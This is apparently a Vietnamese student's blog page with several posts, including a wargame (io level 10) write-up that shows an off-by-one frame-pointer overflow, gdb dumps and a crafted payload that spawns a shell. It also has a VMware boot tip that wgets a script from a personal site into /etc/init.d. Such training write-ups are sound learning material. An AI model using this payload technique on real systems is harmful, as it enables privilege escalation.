start vmware kernel funtion during boot time

No comments:
Hahaha, giời mới co net lại, làm tip này mở màng ha.

Đang chạy thèn gentoo, bực chỗ là mỗi lẫn chạy vmware (workstation) là phải add mấy cái funtion của nó vào kernel để chạy. Vài cái tiêu biểu như là vmnet, vmci... Mệt nhỉ. Vậy giờ add nó vào runlevels default để nó tự chạy lúc khởi động ha.
Chuyển qua root.

crazyboy@h4x0r / $ su
Password:
h4x0r / #

vào /etc/init.d/ ,

h4x0r / # cd /etc/init.d/

tải file này về .

h4x0r / # wget http://12a1nhc.com/Crazy_boy/crazyboy/vmware

tạo một file bash script có tên vmware trong để chạy mấy cái lệnh cần thiết :
h4x0r init.d # vi /root/vmware

nd;

#!/bin/sh
modprobe vmnet
modprobe vmci
modprobe vmmon


chạy lệnh sau

h4x0r init.d # rc-update add vmware default

Reboot và xem kết quả nào :D .

!crazyboy

fucked lvl10@io !

No comments:
Ở level này, vấn đề đặt ra không khó, nhưng vì chưa đụng đến cũng như chưa từng đọc tài liệu về nó nên bị bí. Source của lvl10 như sau :

#include
#include
#include

// Contributed by Torch

int limit, c;
int getebp() { __asm__("movl %ebp, %eax"); }

void f(char *s)
{
int *i;
char buf[256];

i = (int *)getebp();
limit = *i - (int)buf + 1;
printf("limit = %d\n",limit);
for (c = 0; c < limit && s[c] != '\0'; c++) buf[c] = s[c]; } int main(int argc, char **argv) { int cookie = 1000; if (argc != 2) exit(1); f(argv[1]); if ( cookie == 0xdefaced ) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "/bin/sh", "-i", NULL); } return 0; }


Ta chú ý 2 dòng này:

i = (int *)getebp();
limit = *i - (int)buf + 1;
Tại sao không phải cộng 1 ??? Bạn có thể đoán được điều gì sẽ xảy ra phải không. Vâng, ta sẽ kiểm chứng điều bạn nghĩ :D .

level10@io:/levels$ gdb level10
...
(gdb) disassemble main
Dump of assembler code for function main:
0x08048472 : lea 0x4(%esp),%ecx
0x08048476 : and $0xfffffff0,%esp
0x08048479 : pushl -0x4(%ecx)
0x0804847c : push %ebp
0x0804847d : mov %esp,%ebp
0x0804847f : push %esi
0x08048480 : push %ebx
0x08048481 : push %ecx
0x08048482 : sub $0x2c,%esp
0x08048485 : mov %ecx,-0x20(%ebp)
0x08048488 : movl $0x3e8,-0x10(%ebp)
0x0804848f : mov -0x20(%ebp),%eax
0x08048492 : cmpl $0x2,(%eax)
0x08048495 : je 0x80484a3
0x08048497 : movl $0x1,(%esp)
0x0804849e : call 0x8048320
0x080484a3 : mov -0x20(%ebp),%edx
0x080484a6 : mov 0x4(%edx),%eax
0x080484a9 : add $0x4,%eax
0x080484ac : mov (%eax),%eax
0x080484ae : mov %eax,(%esp)
0x080484b1 : call 0x80483fb
0x080484b6 : cmpl $0xdefaced,-0x10(%ebp) // cookie == 0xdefaced, chương trình truy xuất cookie tại -0x10(%ebp)
0x080484bd : jne 0x8048506
0x080484bf : call 0x8048330
0x080484c4 : mov %eax,%ebx
0x080484c6 : call 0x8048330
0x080484cb : mov %eax,%esi
0x080484cd : call 0x8048330
0x080484d2 : mov %ebx,0x8(%esp)
...
(gdb) b main
Breakpoint 1 at 0x8048482
(gdb) b f
Breakpoint 2 at 0x8048404
(gdb) disassemble f
Dump of assembler code for function f:
0x080483fb : push %ebp
0x080483fc : mov %esp,%ebp
0x080483fe : sub $0x110,%esp
0x08048404 : call 0x80483f4
0x08048409 : mov %eax,-0x4(%ebp)
0x0804840c : mov -0x4(%ebp),%eax
0x0804840f : mov (%eax),%edx
0x08048411 : lea -0x104(%ebp),%eax
0x08048417 : mov %edx,%ecx
0x08048419 : sub %eax,%ecx
0x0804841b : mov %ecx,%eax
0x0804841d : inc %eax
0x0804841e : mov %eax,0x804974c
0x08048423 : movl $0x0,0x8049750
0x0804842d : jmp 0x8048452
0x0804842f : mov 0x8049750,%edx
0x08048435 : mov 0x8049750,%eax
0x0804843a : add 0x8(%ebp),%eax
0x0804843d : movzbl (%eax),%eax
0x08048440 : mov %al,-0x104(%ebp,%edx,1)
0x08048447 : mov 0x8049750,%eax
0x0804844c : inc %eax
0x0804844d : mov %eax,0x8049750
0x08048452 : mov 0x8049750,%edx
0x08048458 : mov 0x804974c,%eax
0x0804845d : cmp %eax,%edx
0x0804845f : jge 0x8048470
0x08048461 : mov 0x8049750,%eax
0x08048466 : add 0x8(%ebp),%eax
0x08048469 : movzbl (%eax),%eax
---Type to continue, or q to quit---
0x0804846c : test %al,%al
0x0804846e : jne 0x804842f
0x08048470 : leave
0x08048471 : ret
End of assembler dump.
(gdb) b *0x08048741
Breakpoint 3 at 0x8048741

Ta sẽ thử chạy lvl10 với thông số vào là 300 ký tự ngẫu nhiên :

- Tạo genbuf :

- Run :
(gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9

....

Breakpoint 1, 0x08048482 in main ()
(gdb) i r ebp
ebp 0xbfffdbf8 0xbfffdbf8

(gdb) c
Continuing.

Breakpoint 2, 0x08048404 in f ()
(gdb) c
Continuing.

Breakpoint 4, 0x08048471 in f ()
(gdb) i r ebp ebp 0xbfffdb36 0xbfffdb36
(gdb) x/x $ebp 0xbfffdb36: 0x65413365
(gdb) x/x $ebp-0x10 0xbfffdb26: 0x41386441

---> ebp khi push vào stack đã bị ghi đè 1 byte thành 0xbfffdb36
---> tại offset của ebp tính tới 4 byte là 0x65413345 ứng với chuỗi eA3e trong đoạn genbuf ở trên.
---> khi đó chương trình sẽ truy xuất cookie là 0x41386441 .

Đến đây coi như đã xong, việc còn lại là chỉnh sửa genbuf để phù hợp với phân tích trên. genbuf sau khi chỉnh sửa là :

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7"+"\xed\xac\xef\x0d"+"cede0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9"

Và đoạn exploit như sau :


F/N.

How to : Make USB bootable to Install Ubuntu 9.10

1 comment:
I.Dẫn nhập:
Bạn muốn cài Ubuntu mà lại không có CD cài đặt, cũng không có điều kiện để đi burn 1 cái. Vậy thì bài này sẽ giúp bạn tạo một USB disk để cài đặt Ubuntu một cách nhanh chóng.
II. Công cụ:
- Trước tiên, bạn phải có một máy tính khác, chạy Windows hoặc Linux gì cũng được. Mình sẽ hướng dẫn để thao tác trên cả hai.
- Một file ảnh *.iso của Ubuntu 9.10 i386. Download ở đây .
- Một tiện ích nhỏ để cho ta đỡ công hơn. Download ở đây.
- Và tất nhiên là 1 USB 2.0. Dung lượng trống khoảng 1GB là vừa. Định dạng của USB là fat32.
III.Tiến hành:
- Đối với Windows:
.giải nén file makeusboot.tar.gz
.copy file ubuntu-9.10-desktop-i386.iso; nếu không có file này, khi chạy bước dưới đây sẽ tự động tải file này về để làm việc.
.chạy file fixoph.bat để tiến hành tạo usb boot.
.bạn bật chức năng boot USB của mainboard. Cắm USB vào và cài đặt.
- Đối với Linux thì có phần đơn giản hơn.
.dùng công cụ USB Startup Disk Creator để tạo USB boot này.
.từ console :
$usb-creator-gtk
.giao diện của chương trình như sau:

.click vào Other để chọn file iso của Ubuntu. Sau đó chọn Make Startup Disk và đợi.

IV.Mở rộng:
- Ở đây file fixoph.bat chỉ hỗ trợ cho Ubuntu 9.10 i386. Để tạo USB cho các bản Ubuntu và Linux ở các phiên bản khác thì bạn mở file này, thay ubuntu-9.10-desktop-i386.iso bằng tên file *.iso của phiên bản tương ứng.
V.Tổng kết:
- Không tốn quá nhiều công sức cũng như thời gian, bạn đã có một USB để boot cài đặt Ubuntu một cách nhanh chóng.
- Việc cài đặt qua USB còn có một cái lợi nữa, đó là thời gian cài đặt rất nhanh so với cài bằng CD.

Cài đặt và cấu hình OpenVPN

No comments:
Mới config xong cái OpenVPN server. Viết cái processing để sau này mọi người có cài đặt thì có cái để tham khảo .

Link download : Click here

Dốt quá !

6 comments:
Mới thi lúc chiều về, mới cảm nhận được sự dốt của mình. Bài tập dễ như thế mà không làm được, rất nhiều lần rồi, cứ tái diễn mãi. Vì sao như vậy ?

Nguyên nhân:
- Khi lên đại học, làm 1 sinh viên rồi, thái độ của mình đối với kiến thức hời hợt quá. Khi tìm hiểu về vấn đề gì thì lúc nào cũng chủ quan, tự cho mình đã hiểu nhưng khi giải quyết vấn đề liên quan thì lại không được. Học các môn đó thì rất ít khi thực hành, làm bài tập, chỉ khi nào gần ngày thi mới mang đề ra cày. Dù rằng có bạn cày đề đạt kết quả rất cao, qua môn . Nhưng thiết nghĩ bạn thấm được bao nhiêu, thực sự hiểu cặn kẽ nó hay không.
- Lúc nào cũng nói thời gian của mình là hạn hẹp, nhưng hầu hết là để ngồi máy tính, online, chat chít, duyệt web lung tung không mục đích. Nhiều người hay nguỵ biện là để cập nhật thông tin, nhưng cập nhật được bao nhiêu so với thời gian bỏ ra, thay vì đó tối rồi hãy dành time để online đọc báo, vậy ko tốt sao ?
- Đọc sách chưa hiểu cặn kẽ, chưa thử giải quyết các vấn đề mà sách đưa ra dẫn đến thiếu thực tế.
Hướng giải quyết như thế nào :
- Sắp xếp thời gian thật hợp lí để học các môn cứng trên trường và nghiên cứu các vần đề bạn quan tâm. Phải làm bài, thực hành thật nhiều về các vấn đề được đặt ra trong bài học. Ví dụ một ngày, có thể dành sáng chiều để học các môn trên trường, làm hết các bài tập, tìm hiểu các vấn đề giềng mối. Tối thì nghiên cứu các lĩnh vực khác, đọc báo, ngày nghỉ thì giải trí, xem phim một tí cũng không sao, hoặc là đi chơi với bạn bè. Một ngày ngủ 6 tiếng là đủ rồi (12h khuya tới 6h sáng).
- Đừng login vào yahoo khi không cần thiết. hãy để thời gian đó để làm việc khác. Sáng ngủ dậy sớm, 6h. Ăn sáng, duyệt qua mấy tờ báo. 7h đi học hoặc học bài, làm bài, đọc sách. Chiều tối hãy duyệt web, forum ... Rồi tối, trong thời gian nghiên cứu riêng, nếu cần thì online nhiều hơn. Đừng lạm dụng google. Nhiều lúc nguỵ biện rằng lúc học bật máy tính để có gì ko hiểu thì search, tuy nhiên nếu ai nhảy vào buzz là tám liền. Hoặc tình cờ lũ bạn spam cái gì đó hay hay thì phí thời gian đọc, bàn tán. Tớ ghét cái lũ spam này nhất. Lợi ích thấy chẳng bao nhiêu nhưng phiền phức thì nhiều.
- Đọc sách, nhất là sách tiếng nước ngoài, không cần đọc quá nhanh, nhưng đọc để hiểu cặn kẽ vấn đề. Nên take notes mỗi khi gặp lúc không hiểu và lấy đó để đặt vấn đề giải quyết. Đọc sách cốt là để giải quyết vấn đề mình gặp phải, không giải quyết được thì coi như ko đọc sách . Cuối mỗi bài, mỗi đoạn nên có sự tóm tắt, và tự mình viết lại những gì đã gặt hái được từ sách. Phải tổng kết khi hoàn thành xong một mục của sách và giải quyết các ex mà sách đưa ra. Có thể nói và chia sẻ các kiến thức mình đạt được cho mọi người, bạn bè. Cách tốt để thử mình hiểu vấn đề tới đâu.

Hãy học thật nghiêm túc, không tha thứ cho lỗi lầm, phải rèn luyện từng phần một và đừng ham hố làm nhiều việc cùng một lúc, chả có lợi gì đâu.

Đã nhiều lần tự nhủ mình, phải cố gắng nữa. Vẫn còn dốt lắm !

Đểu ???

1 comment:
Nhìn Yahoo status của con bạn cũ "Đời là ..." , đại loại là thái độ oán trách, hờn giận. Nhảy vào :

xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz: Đời là thế lào ?
X-Girl: doi chi toan nhung thang deu~
xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz:
X-Girl: mi cuoi thi di cho khac ma cuoi
xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz: mất dạy thật, tội người cha nào có con gái như thế
X-Girl: uk
X-Girl: tao vay do
xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz:
xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz: thèn nào ko chịu chịu trách nhiệm hử
X-Girl: deu voi trach nhiem co lien quan gi nhau
xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz: thiếu trách nhiệm thì sinh ra đểu ấy
X-Girl: zay ha
X-Girl: co le dieu do dung voi mi
xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz: với ta
xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz: mi mới là người hình dung ra chữ đểu mà
xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz: nếu ko biết thì đừng dùng, đúng sai chi ?
X-Girl: ta ko hinh dung
xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz: vậy sao mi nói đểu ?
X-Girl: ta biet
X-Girl: chu viec gi phai hinh dung
X-Girl: ma thoi
xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz: như thế nào
X-Girl: ke ta
xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz: biết ?
xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz:
X-Girl: mi dung co nc kieu do
xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz: mi ghi đụng chạm tới ta, tới bọn đàn ông mà kệ mi à ?
X-Girl: mi chua phai la dan ong
xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz:
xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz: hay nhỉ, ta là đàn ông hay ko thì do 1 lời của mi quyết à
X-Girl: uk
xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz:
xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz: nghe mà thấy vl ấy
X-Girl: uk
X-Girl: mi bua ni cung noi vl nhi~
X-Girl: kinh
xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz:
X-Girl: dung la o sg co khac
X-Girl: tahy doi nhieu that
X-Girl: pp mi



Nhìn đoạn trên cũng hiểu. Sao trên đời nhiều người cứ bực tức gì, hờn giận ai hay là buồn buồn là lôi đời, lôi "bọn" này nọ ra xỉa, mà không chịu nghĩ vì sao mình lại thành ra vậy. Không phải ai cũng có thể chịu sự quơ đũa cả nắm, chịu cái vô lí quái ác từ nàng

P/S : Đoạn thoại trên mình chỉ fuzzing vậy thôi, không phải thực sự là mình :) .

500 day of Summer ! For what ?

5 comments:


Vừa xem xong phim "500 Day of Summer", phim này được giới thiệu là "This isn't a love story, This's a story about love " , nghe kêu nhỉ. Thèn Tom trong phim nằm trong hoàn cảnh cũng giống mình, cũng yêu, rồi kết cục chả là gì cả.

Anh chàng yêu một cô , cô này lại cực kì khó hiểu nhé. Cô ả có nhận định về tình yêu là dối trá và lập gia đình là thứ gì đó không tưởng, kết cục của hôn nhân chẳng phải là ly dị đấy thôi !?? Nói chỉ là thích chàng Tom thôi, trên danh nghĩa bạn bè nhé! Nhưng chắc là do văn hóa của người Mĩ thì phải, sống với gần một năm trời . Đến khi chàng ấy nhắc đến chuyện chính - hôn nhân ... thì nàng ta lại "like u like friend" . Rồi chàng ta vật vả, không biết đi về đâu ... Một thời gian sau, gặp lại, tưởng như thái độ của cô nàng Summer tươi vui khi gặp mình như vậy là có phần nào chấp nhận rồi, nhưng ai ngờ, một thoáng nhìn, chàng ta đã thấy được chiếc nhẫn cưới trên tay nàng ??? Nào tình yêu là dối trá, nào chỉ xem tất cả là bạn đây !!!!

Tiếp tục chuỗi ngày bê tha, chán ngán cuộc đời . Nhưng cũng phải đến lúc đứng lên, làm lại mọi thứ. Chàng ta học nghề mới, vùi đầu vào sách để nghiên cứu. Và vào ngày thứ 48x, hai người tình cờ gặp nhau ở chỗ mà vẫn thường hẹn hò lúc trước. Cô nàng đã sang sông, chàng ta chỉ biết ngồi, nói chuyện và cười mà thôi. Cuối cùng, vào công ty mới, ông trời cũng khéo sắp đặt để anh này không phải cô đơn .

Vậy nghĩ xem, gặp Summer làm chi, 500 ngày để làm gì rồi rốt cuộc cũng bay đi ???

Quyết định rồi, bến chờ thuyền làm chi khi không biết ngày trở lại !

Solve problem: don't show buddy list in pidgin

No comments:
In other day, your pidgin program don't show buddy in byddy list, what happen ? I recent meet this problem today, after search google to find the way to solve. But nothing was found except this link, from launchpad bug report center . But still have nothing. Another way ?

I try to reinstall pidgin, it start and run nomally . I guess this problem occured with me because my account setting. I compare the new setting with my old setting and discover some thing different . I try to change my old setting then, when i change my account server address, this problem was solved .

Change the server name by go to Accounts.Manager Accounts, choose your account, click on Modify. In tab Advance, change Pager server to scsa.msg.yahoo.com and Bingo! this problem was solved.

Have fun !

Linux 101 hacks

2 comments:
Cuốn ebook này khá hay và phù hợp với người mới bắt đầu sử dụng linux, cũng là một cuốn sổ tay để tra cứu rất hữu dụng. Xuyên suốt cuốn sách Ramesh Natarajan - tác giả của The Greek the stuff blog - đã giới thiệu các lệnh thường dùng và tương ứng với từ lệnh là các "mini tutorial" rất trực quan.

Table of Contents
Introduction
Foreword
Version
Chapter 1: Powerful CD Command Hacks
Hack 1. Use CDPATH to define the base directory for cd command
Hack 2. Use cd alias to navigate up the directory effectively
Hack 3. Perform mkdir and cd using a single command
Hack 4. Use “cd -” to toggle between the last two directories
Hack 5. Use dirs, pushd and popd to manipulate directory stack
Hack 6. Use “shopt -s cdspell” to automatically correct mistyped directory names on cd
Chapter 2: Date Manipulation
Hack 7. Set System Date and Time
Hack 8. Set Hardware Date and Time
Hack 9. Display Current Date and Time in a Specific Format
Hack 10. Display Past Date and Time
Hack 11. Display Future Date and Time
Chapter 3: SSH Client Commands
Hack 12. Identify SSH Client Version
Hack 13. Login to Remote Host using SSH
Hack 14. Debug SSH Client Session
Hack 15. Toggle SSH Session using SSH Escape Character
Hack 16. SSH Session Statistics using SSH Escape Character
Chapter 4: Essential Linux Commands
Hack 17. Grep Command
Hack 18. Find Command
Hack 19. Suppress Standard Output and Error Message
Hack 20. Join Command
Hack 21. Change the Case
Hack 22. Xargs Command
Hack 23. Sort Command
Hack 24. Uniq Command
Hack 25. Cut Command
Hack 26. Stat Command
Hack 27. Diff Command
Hack 28. Display total connect time of users
Chapter 5: PS1, PS2, PS3, PS4 and PROMPT_COMMAND
Hack 29. PS1 - Default Interaction Prompt
Hack 30. PS2 - Continuation Interactive Prompt
Hack 31. PS3 - Prompt used by “select” inside shell script
Hack 32. PS4 - Used by “set -x” to prefix tracing output
Hack 33. PROMPT_COMMAND
Chapter 6: Colorful and Functional Shell Prompt Using PS1
Hack 34. Display username, hostname and basename of directory in the prompt
Hack 35. Display current time in the prompt
Hack 36. Display output of any command in the prompt
Hack 37. Change foreground color of the prompt
Hack 38. Change background color of the prompt
Hack 39. Display multiple colors in the prompt
Hack 40. Change the prompt color using tput
Hack 41. Create your own prompt using the available codes for PS1 variable
Hack 42. Use bash shell function inside PS1 variable
Hack 43. Use shell script inside PS1 variable
Chapter 7: Archive and Compression
Hack 44. Zip command basics
Hack 45. Advanced compression using zip command.
Hack 46. Password Protection of Zip files
Hack 47. Validate a zip archive
Hack 48. Tar Command Basics
Hack 49. Combine gzip, bzip2 with tar
Chapter 8: Command Line History
Hack 50. Display TIMESTAMP in history using HISTTIMEFORMAT
Hack 51. Search the history using Control+R
Hack 52. Repeat previous command quickly using 4 different methods
Hack 53. Execute a specific command from history
Hack 54. Execute previous command that starts with a specific word
Hack 55. Control the total number of lines in the history using
HISTSIZE
Hack 56. Change the history file name using HISTFILE
Hack 57. Eliminate the continuous repeated entry from history using
HISTCONTROL
Hack 58. Erase duplicates across the whole history using
HISTCONTROL
Hack 59. Force history not to remember a particular command using
HISTCONTROL
Hack 60. Clear all the previous history using option -c
Hack 61. Substitute words from history commands
Hack 62. Substitute a specific argument for a specific command
Hack 63. Disable the usage of history using HISTSIZE
Hack 64. Ignore specific commands from the history using HISTIGNORE
Chapter 9: System Administration Tasks
Hack 65. Partition using fdisk
Hack 66. Format a partition using mke2fsk
Hack 67. Mount the partition
Hack 68. Fine tune the partition using tune2fs
Hack 69. Create a swap file system.
Hack 70. Create a new user
Hack 71. Create a new group and assign to an user
Hack 72. Setup SSH passwordless login in OpenSSH
Hack 73. Use ssh-copy-id along with ssh-agent
Hack 74. Crontab
Hack 75. Safe Reboot Of Linux Using Magic SysRq Key
Chapter 10: Apachectl and Httpd Examples
Hack 76. Pass different httpd.conf filename to apachectl
Hack 77. Use a temporary DocumentRoot without modifying httpd.conf
Hack 78. Increase the Log Level temporarily
Hack 79. Display the modules inside Apache
Hack 80. Show all accepted directives inside httpd.conf
Hack 81. Validate the httpd.conf after making changes
Hack 82. Display the httpd build parameters
Hack 83. Load a specific module only on demand
Chapter 11: Bash Scripting
Hack 84. Execution Sequence of .bash_* files
Hack 85. How to generate random number in bash shell
Hack 86. Debug a shell script
Hack 87. Quoting
Hack 88. Read data file fields inside a shell script
Chapter 12: System Monitoring and Performance
Hack 89. Free command
Hack 90. Top Command
Hack 91. Ps Command
Hack 92. Df Command
Hack 93. Kill Command
Hack 94. Du Command
Hack 95. lsof commands
Hack 96. Sar Command
Hack 97. vmstat Command
Hack 98. Netstat Command
Hack 99. Sysctl Command
Hack 100. Nice Command
Hack 101. Renice Command
12 Amazing and Essential Linux Books
Extended Reading
Your Feedback and Support
Subscribe to TGS
Contact TGS

Download

Trong quá trình sử dụng sách, nếu có gì thắc mắc bạn có thể liên hệ trực tiếp với tác giả hoặc liên hệ với tôi qua email : heart2heart.it (at) gmail (dot) com

Debug with Code::Block

6 comments:
Làm cái ass, kiếm cách debug bằng code::block ra thằng này, mọi người ai quan tâm thì tham khảo :-D

Contents

  • 1 Build debug version of your project
  • 2 Add Watches
  • 3 Set Breakpoints
  • 4 Notes on Setting Breakpoints
    • 4.1 Update to the newest version of mingw
    • 4.2 Limits on the early version of mingw

Build debug version of your project

Make sure that the project is compiled with the -g (debugging symbols) compiler option on, and the -s (strip symbols) option off. This ensures that the executable has debug symbols included.

Compiler optimization switches should be turned off, stripping symbols (-s) must be turned off.

Keep in mind that you may have to re-build your project as up-to-date object files might not be re-compiled with -g otherwise. Please be aware that in compilers other than GCC, -g and/or -s might be a different switch (-s might not ba available at all).

Menu => Project => Build Options

Set Project Build Options

Add Watches

Open The Debugger Watches Window

Open Watch Window

The list of watches can be saved to a file and later re-loaded. To do so, right click in the list of watches and select "save watch file" (and "load watch file" to re-load them again).

Image:Save watch.png

Set Breakpoints

Find the line containing the variable to be watched. Set a breakpoint in a position that will allow you to observe the variable value.

Menu => Debug => Toggle Breakpoint

Choose Watch Variable

Run the debugger until the breakpoint is reached. Right click the variable to set a watch in the Watch Window.

Breakpoints may also be toggled with a left click in the left editor margin.

Notes on Setting Breakpoints

Update to the newest version of mingw

From gdb 6.8 released on April 2008, it supports many features which does not exist in early versions. You can update by installing binaries from TDM-Mingw package.

Limits on the early version of mingw

If your are still using the mingw and gdb 6.7 from 8.02 setup files, setting breakpoints in the constructor can not work. Here are some tricks.

Breakpoints do not work in constructors or destructors in GDB 6.7 and earlier version. They do, however, work in routines called from them. This is an early GDB restriction, not a bug. So you could do something like:

Debugging ctor/dtor

...and place a breakpoint in "DebugCtorDtor" at the line "int i = 0;" . The debugger will break at that line. If you then step the debugger (Menu Debug => Next Line; or alternatively F7) you'll reach the code in the contructor/destructor ("is_initialised = true/false;").

Source : here

Đi thi OpenSource

8 comments:
Đã một tuần từ khi bước chân xuống Nha Trang - thành phố biển . Cảm nhận lần đầu là "dễ chịu", bớt đi cái ồn ào náo nhiệt của Sài Gòn . Đi cùng đoàn BK tham gia Olympic và acm/icpc , thấy mấy anh kia luyện mà "ghê" :-D . Mình thì long bong, 2 nhóm opensource tách ra từ ns, anh em cả nên ôn luyện nó cũng dễ dàng (nói ôn luyện chứ có ôn đek gì đâu :">) .

Tới buổi thi, in một balo tài liệu sách vào, tới cổng mới té ngữa ra là ban giám khảo cho mang usb, làm mình phải cật lực chạy về phòng chép tài liệu.

Vào thi mới thấy nhiều cái thiếu của mình, phần trắc nghiệm và python thì okie hết, tuy nhiên các phần của các bộ thư viện thì long bong. Một phần là tưởng như đề năm trước, ra trắc nghiệm và ko code nên ko chú trọng lắm, giờ thi nó cho toàn code nên *_* , một phần cũng chủ quan, ôn sơ sài quá. Dẫn đến kết quả thật ê chề.

Bữa nay - 9/10, tổng kết và trao giải, ai cũng thất vọng, hjc . ĐH CNTT giật 1 2, đội mình (3 thèn 08 - 3 thèn nhỏ nhất trong đám opensource thi năm nay) được giải khuyến khích - cũng tạm an ủi lấy tinh thần sang năm thi tiếp.

À, quên 1 thứ nữa là hôm nay là sn mình nữa chứ, thiệp chúc mừng từ các site mình tham gia nó gửi tới còn nhiều hơn cả mấy tin chúc mừng của mấy đứa bạn (bùn), nhưng cũng vui vì còn người nhớ tới sn của mình *_* . Không giống như năm ngoái chính mình lại quên sn của mình , hjc.